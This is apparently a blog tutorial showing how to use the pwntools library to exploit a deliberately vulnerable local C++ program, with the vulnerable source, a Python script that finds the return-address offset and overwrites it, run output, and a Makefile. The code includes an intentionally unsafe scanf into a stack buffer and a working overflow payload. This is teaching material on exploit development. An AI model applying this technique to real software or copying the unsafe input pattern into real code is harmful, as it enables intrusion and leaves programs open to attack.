DEV Community

loading...

Use pwntools for your exploits

hextrace profile image hextrace ・3 min read

Pwntools is a python exploit development library. Is has all the tools and shortcuts you need to improve your skills, processes, and documentation of your exploits.

The target

We're going to use pwntools to automate the exploitation of a buffer overflow. I'm using a 64 bits intel platform. I will disable canaries and pie. I will not strip symbols. Here is the vulnerable code we're about to automate its exploitation:

// $(CXX) vuln.cpp -o vuln -fno-stack-protector -no-pie

#include <algorithm>
#include <cstdlib>
#include <iostream>
#include <iterator>
#include <random>
#include <sys/resource.h>

int seed() {
  // pseudo random seed generator
  // can be used at compile time
  auto hour = std::atoi(__TIME__);
  auto min = std::atoi(__TIME__ + 3);
  auto sec = std::atoi(__TIME__ + 6);
  return 10000 * hour + 100 * min + sec;
}

extern "C" void call_me() {
  // target function with mangling disabled
  puts("congratulations!");
}

int main() {
  auto rng = std::mt19937_64(seed());
  auto length = std::uniform_int_distribution<int>(20, 40)(rng);
  printf("buffer length is %d (0x%x).\n", length, length);
  char buffer[length]; // compile time randomized length
  scanf("%s", buffer); // vulnerable scanf
}
Enter fullscreen mode Exit fullscreen mode

Our goal will be to call the call_me function. Program expects a user input through stdin, read by scanf. The size of the targeted buffer is randomly decided at compile time.

The Exploit

First let's import all the pwn tools:

from pwn import *
Enter fullscreen mode Exit fullscreen mode

Then we define a context for the target using ELF() and use process to interact with the target process.

local_path = "vuln"

pty = process.PTY                   
elf = context.binary = ELF(local_path)
io = process(elf.path, stdin=pty, stdout=pty)
Enter fullscreen mode Exit fullscreen mode

Now we have to find where is the instruction pointer saved on the stack, so we can overwrite it and make it point to call_me.

pwntools has cyclic(n) to create a unique pattern of n bytes. It also has cyclic_find(subpattern) to find the offset of the subpattern. Using this, we can find the offset where ip is saved.

Let's send a very large pwn pattern to the process and expect a crash. This will produce a crash dump that pwntools can analyse in order to retrieve the offset using the subpattern lying on the stack when the crash occured:

def find_rip_offset(io):
    io.clean()
    io.sendline(cyclic(0x1000))
    io.wait()
    core = io.corefile
    stack = core.rsp
    info("rsp = %#x", stack)
    pattern = core.read(stack, 4)
    info("cyclic pattern = %s", pattern.decode())
    rip_offset = cyclic_find(pattern)
    info("rip offset is = %d", rip_offset)
    return rip_offset

offset = find_rip_offset(io)
Enter fullscreen mode Exit fullscreen mode

At this point, we know where to overwrite the instruction pointer. We can craft the following payload : padding to saved ip + call_me address.

The binary is not stripped, pwntools give your tools to fetch ELF symbols, so we can craft the payload easily:

offset = find_rip_offset(io)
padding = b"A" * offset
call_me = p64(elf.symbols.call_me)
payload = b"".join([padding, call_me])

with open("payload.bin", "wb") as fh:
    fh.write(payload)
Enter fullscreen mode Exit fullscreen mode

Here I dumped the payload in payload.bin so we can debug it:

$ nm vuln | grep call_me
00000000004011c9 T call_me

$ xxd payload.bin | tail -n 2
00000a30: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000a40: 4141 4141 4141 4141 c911 4000 0000 0000  AAAAAAAA..@.....
Enter fullscreen mode Exit fullscreen mode

And then we can send the payload and retrive the response :

def print_lines(io):
    info("printing io received lines")
    while True:
        try:
            line = io.recvline()
            success(line.decode())
        except EOFError:
            break

io = process(elf.path)
io.sendline(payload)
print_lines(io)
Enter fullscreen mode Exit fullscreen mode
./exploit.py 
[*] '/tmp/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process '/tmp/vuln': pid 15129
[*] Process '/tmp/vuln' stopped with exit code -11 (SIGSEGV) (pid 15129)
[!] Error parsing corefile stack: Found bad environment at 0x7ffeb8030fc5
[+] Parsing corefile...: Done
[*] '/tmp/core.15129'
    Arch:      amd64-64-little
    RIP:       0x4012e2
    RSP:       0x7ffeb8030258
    Exe:       '/tmp/vuln' (0x401000)
    Fault:     0x616b6162616a6162
[*] rsp = 0x7ffeb8030258
[*] cyclic pattern = baja
[*] rip offset is = 2632
[+] Starting local process '/tmp/vuln': pid 15132
[*] printing io received lines
[+] buffer length is 25 (0x19).
[+] congratulations!
Enter fullscreen mode Exit fullscreen mode

Yay we have the congratulations! output!

Here is a Makefile to ease the tests:

all: clean vuln exploit

vuln:
        $(CXX) vuln.cpp -o vuln -fno-stack-protector -no-pie

exploit:
        ./exploit.py

clean:
        rm -f vuln
        rm -f core.*
        rm -f payload.bin
Enter fullscreen mode Exit fullscreen mode

Links

Discussion (0)

pic
Editor guide